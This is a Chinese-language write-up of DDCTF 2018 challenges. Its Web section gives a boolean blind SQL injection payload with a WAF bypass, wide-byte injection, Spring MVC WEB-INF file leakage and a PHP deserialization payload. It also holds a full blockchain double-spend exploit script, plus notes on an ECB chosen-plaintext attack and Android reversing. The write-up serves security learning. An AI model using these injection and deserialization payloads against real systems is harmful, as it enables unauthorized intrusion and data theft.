Web
数据库的秘密
打开后限制的访问IP,我们使用XFF插件设置下再进入。
进去后是一个查询界面
结合题目,大概是个注入题,先测试waf吧。
发现id过滤很严格,title反而松一些,加了转义符,date也是,阅读源码发现一个隐藏字段author,看起来似乎没有过滤。
使用1' or 1=1#,页面正常显示,那就选择author了,应该是后端没有设置过滤。
我们尝试order by,查到列数,于是尝试union注入,但是突然跳出了狗...
加注释也不能绕过,想来也不会这么简单,大概是要盲注,只能写脚本了,但是地址后面跟着一些签名参数,把js调试了一下,发现巨简单,就是id=title=author=a%date=time=adrefkfweodfsdpiru,然后sha1处理,再加一个时间戳。
def generate(data):
ctime=int(time.time())
data="id=%stitle=%sauthor=%sdate=%stime=%dadrefkfweodfsdpiru" %(data['id'],data['title'],data['author'],data['date'],ctime)
sig= sha1(data).hexdigest()
return sig,ctime
构造出来一个布尔payload尝试读table,发现又报狗了,查证后发现是不能用database。
从头来,构造简单的布尔查数据库,发现可以生效。
爆库,是ddctf,爆表,...,flag出来了。
爆库的payload:
a%' && (ascii(substring((select schema_name from information_schema.schemata limit 0,1),1,1))=90)#
总结一下就是在隐藏的表单里没有过滤,但是有狗(and使用&&替换),布尔盲注即可。
这么简单的题卡了大概一天...唉
专属链接
提示1:虽然原网站跟本次CTF没有关系,原网站是www.xiaojukeji.com
注:题目采用springmvc+mybatis编写,链接至其他域名的链接与本次CTF无关,请不要攻击
先看提示,springmvc..mybatis,都没接触过,于是卡了两天...
和源网站比对html源代码,发现有三处不同:
<link href="/image/banner/ZmF2aWNvbi5pY28=" rel="shortcut icon">
<a href="http://www.didichuxing.com/">3980917377285129996@didichuxing.com</a>
<!--/flag/testflag/yourflag-->
刚看到没有什么思路,访问/flag/testflag/yourflag放回一个500。。也看不到包名。
后来发现那串base64很神奇,为什么要编码,随意写了个base64返回了另一个500,爆出了一个包名。
本着大部分Web题都有源码的思路,最后发现这里居然是个文件下载...
ico文件里写了只允许.class .xml .ico .ks
搜了一下springmvc源码泄漏,发现可以读WEB-INF目录
首先读到了web.xml,里面有一个包名。
结合之前的包名,我们可以下下载到两个class文件,读源码发现listener里面定一下哈希和加密方式,我们还是要想办法把flag(或者加密的)读出来。
flag和email都被处理过了,flag被加密了,密钥存在storekey里,和sk相关的一个函数keyStore.load(inputStream, this.p.toCharArray());
,这些都是要用到的信息。
读了很多文件,找不到入手点,甚至想读日志、SQL注入,然而都不能实现。
没写过java web的话就在这卡住了...
灵感来自于访问flag那个500,它必然有个controller,想办法拿到这个class就好了。
最后在和文件下载极其相似的一个类下拿到了class,FlagController.class,那逻辑十分清晰了
发现这个POST url接口可以拿到加密的flag,但是要提交email,可以马上想到收集到的email,但是交上去并不可以。继续看listener发现email被hash过,本地跑一下提交上去拿到了加密后的flag。
很接近最后了,解密就行了。
然后发现不会解密...解密也不对...这个KS居然是RSA密钥?
查代码发现源码里用的是私钥加密,那我们要用公钥解密,搜一下怎么解,发现要有证书才行,我们用`keytool -export -alias www.didichuxing.com -file out.cer。密码从上面的keyStore.load里面找。
String p = "sdl welcome you !".substring(0, "sdl welcome you !".length() - 1).trim().replace(" ", "");
final String ksPath = "sdl.ks";
final FileInputStream inputStream = new FileInputStream(ksPath);
final KeyStore keyStore = KeyStore.getInstance(KeyStore.getDefaultType());
keyStore.load(inputStream, p.toCharArray());
final Key key = keyStore.getKey("www.didichuxing.com", p.toCharArray());
final Cipher cipher = Cipher.getInstance(key.getAlgorithm());
CertificateFactory cf = CertificateFactory.getInstance("X.509");
FileInputStream in = new FileInputStream("out.cer");
Certificate certificate = cf.generateCertificate(in);
cipher.init(2,certificate);
代码直接从网上抄了一部分。
flag已经拿到了。
题外话:
下载发现只限制了txt和properties...已经够了,读日志文件直接500了,SQL语句大多用了预编译,拿到加密flag时需要改成POST提交..(不会java的我刚了两天..)
注入的奥妙
居然又是注入。。。
http:// 116.85.48.105:5033/xxxxxxx-e388-4aa5-bcdc-125b9b95e12a/well/getmessage/1
有很明显的提示
<!--https://wenku.baidu.com/view/bd29b7b3fd0a79563c1e72f7.html-->
猜测是宽字节,然后一直不行,找到%bf%5c就是没回显。
后来把%bf%5c对应的字复制进参数里,居然可以了,大概是因为在addshlashes时没办法加在汉字里,然后被迫放在了汉字后面,把转义'的转义符转义了。。
赛后找到了一篇师傅推荐的分享:http://www.evilclay.com/2017/07/20/宽字节注入深入研究/
剩下的就是构造注入了,跟第一题一样的。
跑表的时候我就想,这题肯定不是这么简单,没准和去年一样...过滤了表名,最后跑完了表居然都没看到flag在哪...倒是发现了一个源码包
下载下来果然是...开始代码审计..
发现反序列化时,又不会...硬着头皮刚了一波,结果可用的大概只有一个反序列化入口,然而访问404..加上MVC架构不熟悉,只能从入口点审计了一波。
public function try($serialize)
{
unserialize(urldecode($serialize), ["allowed_classes" => ["Index\Helper\Flag", "Index\Helper\SQL","Index\Helper\Test"]]);
}
整个框架大概是对接口做了限制,能访问的路径存在数据库里,我们已经拿到了。对mysql用户降权了我们读不到flag,其实他有三个账户。
那为什么还是404呢,翻出来sql注出来的表
get*/:u/well/getmessage/:s
get*/:u/justtry/self/:s
post*/:u/justtry/try
static/bootstrap/css/backup.css
发现这个地址是POST访问..(好吧,能访问了)
剩下的就是构造反序列化了。认真构造了一个(注意命名空间)
首先寻找魔法函数,在Test里面找到了
public function __destruct()
{
$this->getflag('ctfuser', $this->user_uuid);
// $this->setflag('ctfuser', $this->user_uuid);
}
显然从这里可以拿到flag,跟进去到了Flag.php,发现理论上可以拿到flag。
Fatal error: Uncaught Error: Call to a member function FlagGet() on null in /var/www/html/Helper/Flag.php:51
Stack trace:
#0 /var/www/html/Helper/Test.php(53): Index\Helper\Flag->get(Array)
#1 /var/www/html/Helper/Test.php(21): Index\Helper\Test->getflag('ctfuser', 'xxxxxxx-e388-4a...')
#2 /var/www/html/Controller/Justtry.php(40): Index\Helper\Test->__destruct()
#3 [internal function]: Index\Controller\Justtry->try('O:17:"Index\\Hel...')
#4 /var/www/html/Helper/Router.php(98): ReflectionMethod->invokeArgs(Object(Index\Controller\Justtry), Array)
#5 /var/www/html/Helper/Router.php(62): Index\Helper\Router->invoke('JustTry#try', Array)
#6 /var/www/html/index.php(34): Index\Helper\Router->dispatch()
#7 {main}
thrown in <b>/var/www/html/Helper/Flag.php</b> on line <b>51</b>
emmm?发现自己少写了一个SQL类..
补全之后POST交上去。
payload:
O:17:"Index\Helper\Test":2:{s:9:"user_uuid";s:35:"xxxxxxx-e388-4aa5-bcdc-125b9b95e12a";s:2:"fl";O:17:"Index\Helper\Flag":1:{s:3:"sql";O:16:"Index\Helper\SQL":2:{s:3:"dbc";N;s:3:"pdo";N;}}
(刚开始把uuid抄错了,又卡了两个小时..)
还好反序列化不是很难..
mini blockchain
题目模拟了DD币,很多描述都没接触过,赛后查了一些资料,在此仅仅简单说一下思路。
关于UTXO(交易模型)的详细说明见 http://www.frankyang.cn/2017/09/30/utxo/
从代码中我们知道,创世区块是银行发行了100W币,然后黑客利用银行的私钥转走了99W9999,留下了1个币。然后题目的要求是拿到两个钻石,往商店转100W就可以获得一个钻石,商店会把拿到100W藏起来(无法取出),显然我们需要200W。
从这个思路思考,我们肯定拿不到200W,那我们就需要使用100W购买两个钻石。那我们可以利用双花攻击(double spend),前提条件是我们拥有超过50%的算力,但在题目中挖矿的只有做题人,理论上我们拥有100%的算力。那我们的思路便是创造一条超过原始链的长度,然后区块链会选择最长的作为主链。
在这里我们引用一张图来表示创造的新链。
只要我们依次构造出第二条和第三条链,那么我们就拿到了两个钻石。
如果要构造一个包含交易的区块,那我们需要有一个签名。先看一个区块的结构:
{
'nonce': 'HAHA, I AM THE BANK NOW!', #自定义字符串
'prev': 'dd04faf20c550cf63ae07504884e1fb673cfefaaac2979dde1ae3cbf95961569', #前一个块的hash
'hash': '5217b7fa9c1e2296e66202997df0a51b20e58fe921011069535a62cd53518e55', #本块hash
'transactions': [{ # 交易 tx
'input': ['9d65e5db-8671-4323-b279-af56963f2565'], #之前的utxo id
'output': [{ # UTXO
'amount': 999999,
'hash':
'da32c8155ebbec8df888653d4d243698e29c4ea43cc0fa1bff14649e8511416b', #UTXO的hash
'id': '9dcb9e47-5816-4451-b99e-eb6d729f64b7', #UTXO id
'addr': 'b2a6484625db7305ea7bb1c8a484832ec32686c0f3a3dac5cfe63779ede94494d841f8117fe1dd55c57e23aa61953391' #目标地址
},
{
'amount': 1,
'hash': '19fa5198bc172d6525976b7f0fb5f0647b96ab6b55bd4eb9033ab158faebb0ad',
'id': '592e27c6-b111-40a7-8b2d-ccefa333e616',
'addr': '99a13a3a21051c8f93c5a87f7f92151b4acfaf01f2e596696e8922e3801278470592cdbc8920f289a1829f726c43a1e9'
}],
'hash': '5815cc2ccf6327396ce5490c39e7c6381f15250fa0ab043eae8096d1a1c44704', #交易hash
'signature': ['9455298609f042b631f99cb33f3f683f6b3361962df5f1c6f698e03b23d72c7ea42c939999913424e4c424f6b7024514'] #交易签名(sign_input_utxo函数)
}
]}
在区块中,最后的signature的值是交易的签名,跟进函数发现:
def sign_input_utxo(input_utxo_id, privkey):
return rsa.sign(input_utxo_id, privkey, 'SHA-1').encode('hex')
def create_tx(input_utxo_ids, output_utxo, privkey_from=None):
tx = {'input': input_utxo_ids, 'signature': [sign_input_utxo(id, privkey_from) for id in input_utxo_ids], 'output': output_utxo}
tx['hash'] = hash_tx(tx)
return tx
签名只针对了input部分,并未针对output部分的交易签名,那我们只要保证input信息不变,随意改动output信息即可(也需要满足hash)
继续看
DIFFICULTY = int('00000' + 'f' * 59, 16)
@app.route(url_prefix+'/create_transaction', methods=['POST'])
def create_tx_and_check_shop_balance():
init()
try:
block = json.loads(request.data)
append_block(block, DIFFICULTY)
msg = 'transaction finished.'
except Exception, e:
return str(e)
创建交易时对hash有要求,即Proof of Work。跟进函数内,发现
block_hash = int(block['hash'], 16)
if block_hash > difficulty: raise Exception('Please provide a valid Proof-of-Work')
需要满足上面这个条件,和md5 capcha类似,我们需要爆破满足条件的值,在上面的结构中,能够随意改变的值就是nonce。
def pow(b, difficulty, msg=""):
nonce = 0
while nonce<(2**32):
b['nonce'] = msg+str(nonce)
b['hash'] = btc.hash_block(b)
block_hash = int(b['hash'], 16)
if block_hash < difficulty:
return b
nonce+=1
这样就可以爆破。
最后给出完整的生成脚本
EXP: 重命名源代码为btc.py
# -*- encoding: utf-8 -*-
import btc, rsa, uuid, json, copy
#创世块的hash
genies_hash = "92875ca628cd0890020f6a74f3011b611db814f30300f729f20b5a88c49e3e44"
#黑客转账999999,所用的input和签名
input,signature = ("9018b356-cb1d-44c9-ab4e-bf15a8b2f95c","161ae7eac89f71d50d1019d21288dce23cae6cbb587998df9010e3ff3c80ee8e4c06bd70555604be85ca0869136b3966")
#商店地址
shop_address = "b81ff6d961082076f3801190a731958aec88053e8191258b0ad9399eeecd8306924d2d2a047b5ec1ed8332bf7a53e735"
txout_id = str(uuid.uuid4())
#工作量证明
def pow(b, difficulty, msg=""):
nonce = 0
while nonce<(2**32):
b['nonce'] = msg+str(nonce)
b['hash'] = btc.hash_block(b)
block_hash = int(b['hash'], 16)
if block_hash < difficulty:
return b
nonce+=1
def myprint(b):
print(json.dumps(b))
print(len(json.dumps(b)))
#构造一个空块
def empty_block(msg, prevHash):
b={}
b["prev"] = prevHash
b["transactions"] = []
b = pow(b, btc.DIFFICULTY, msg)
return b
#从创世块开始分叉,给商店转1000000
block1 = {}
block1["prev"] = genies_hash
tx = {"input":[input],"output":[{"amount":1000000, 'id':txout_id,'addr':shop_address}],'signature':[signature]}
tx["output"][0]["hash"] = btc.hash_utxo(tx["output"][0])
tx['hash'] = btc.hash_tx(tx)
block1["transactions"] = [tx]
block1 = pow(block1, btc.DIFFICULTY)
myprint(block1)
#构造空块增加分叉链长度,使分叉链最长,因为max的结果不唯一,少则一次多则两次
block2 = empty_block("myempty1", block1["hash"])
myprint(block2)
block3 = empty_block("myempty2", block2["hash"])
myprint(block3)
#余额更新成功,系统自动添加块,转走商店钱,钻石+1
#从自己的块,即系统转走钱之前的那个块再次分叉,添加空块
block4 = empty_block("myempty3", block3["hash"])
myprint(block4)
block5 = empty_block("myempty4", block4["hash"])
myprint(block5)
#新的分叉链最长,余额更新成功,钻石+1
按顺序提交block即可,如果使用requests提交的话,需要使用session,并指定Content-Type: application/json。
ref:
1.http://hebic.me/2018/04/20/DDCTF2018-mini-blockchain-writeup/
2.https://delcoding.github.io/2018/04/ddctf-writeup4/
我的博客
还没有更新..
ref http://sec2hack.com/ctf/ddctf-2018-web-writeup.html
Misc
掀桌
凯撒加密,flag在中间,大概是偏移了127位(或者是128),爆破一下输出就行
第四扩展FS
binwalk-zip(密码在图片)-统计字频排序
流量分析
发现了ftp数据,找到一个zip,zip没有用处。后面还有smtp的数据,筛选一下发现一个很长的数据,打开是一个eml,导出eml打开后是一个图片和提示,图片是私钥。还原为文字后补充
-----BEGIN RSA PRIVATE KEY-----
XXXXXXX
-----END RSA PRIVATE KEY-----
导入Wireshark,可看到被解密的HTTP流量。
安全通信
好像课上讲过,选择明文攻击(?)大概是,分组加密,ECB,每组密文无关。
我们可以考虑,如果16字节的分组我们知道明文,那我们也知道密文。如果两段明文相同,那么密文也相同。如:
xxxx xxxx xxxx xxxf lag1
xxxx xxxx xxxx xxx[f] lag1
爆破f的位置的可见字符,直到xxxxxxx[f]分组加密后和含部分flag的密文相同,每次flag向前偏移一位,偏移方法需要改变agent id的长度(agent id即xxx部分,但需要agent id的初始长度加上额外字符串的长度对16取余是1),手动更改也可以,然后爆破分组最后一位的字符(flag),最后得到的就是flag。
写一个简单的循环chr(可见字符部分),循环(100+)次,每次添加上已获得flag的部分,改变agent id减少一位,保证agent id的长度比flag长即可,然后依次类推,再运行脚本进行循环。
也可以两层循环,一层循环一个较长的长度(agent id的长度),一层chr,设置可见字符部分。大概是flag长度乘以(100+)次。
安卓
RSA
这题是挺难的(对于我这么菜的来说..),打开apk,发现基本没有逻辑,都在native层,扔进ida看一下,导出函数进去,一堆函数看不懂。
一堆getticks,gpower不知道干嘛的..逻辑最多的就是wind_cpp,进去看一下逻辑。
伪代码能够看明白前面是把输入进行一个异或,后面是一个循环,巨长,看不懂了..
找了个高版本的调试机开始跑,发现wind_cpp之前字符串好像没啥变化
这一串也确实是把输入进行了异或,最后in就是我们输入的字符串,38位。v34就是加密后的串。
下面while循环跑了三四遍发现是个自身验证,38位每10位循环相等。然后又一串看不懂的。为了进入下面的逻辑,我们先跑出一个满足自身验证的输入axfpdz0ulhw190jz6aw2pvqed8v83blleatuen。然后继续。
发现下断点到v11,是一个10位数,这需要我们之前构造的输入还要满足异或后前十位是数字。(一直没搞懂这部分,卡在这看了好几遍)
多跑了几次,发现在取余函数那有验证,(根据IDA view第一个取余函数不满足CMP R3,#0就跳到最后了,那我们肯定要把取余条件搞出来)
程序跑到这,我们能看到v23大概就是上面那两个字符串变成了一个整数,存在v17里面(v17=5889412424631952987)
所以现在基本的限制条件出来了,输入的值满足[0-9a-z]{38},异或之后循环十位相等,且是一个整数,这个整数能被v17整除。
爆破一下这个输入的值,但是直接爆破是38位的..,考虑爆破中间值减少次数,先把加密之后的(v34)前十位整数爆破出来;其次,这十位满足再次异或解密11-38位的字符在range(48,58)+range(97,123)内;然后爆破出来的值和v17取余,整除就返回结果。等了一会拿到结果,然后再把这十位扩展为38位,异或回去,就是flag了。
Add:
看大佬的思路发现最后一步的验证书找到v17的因数,且必须是那个较小的因数,那我们拿到v17之后可以直接在线分解出较小的因数,减少爆破的时间。
Hello Baby Dex
这个题比第一个简单一点,但是不会插桩..
主要的思路是安卓热补丁,java反射。在asset里面有一个dex,这才是真正逻辑,好像还加了反调试...我就只能看静态了。拉到jadx里面,有一个onclick,定位到关键部分(输错提示部分),捋一下大概是把输入和一个算出来的数比较。那我们只需要把算好的结果打出来就好。
大概是v1的位置。。然而到最后也没有构造成功。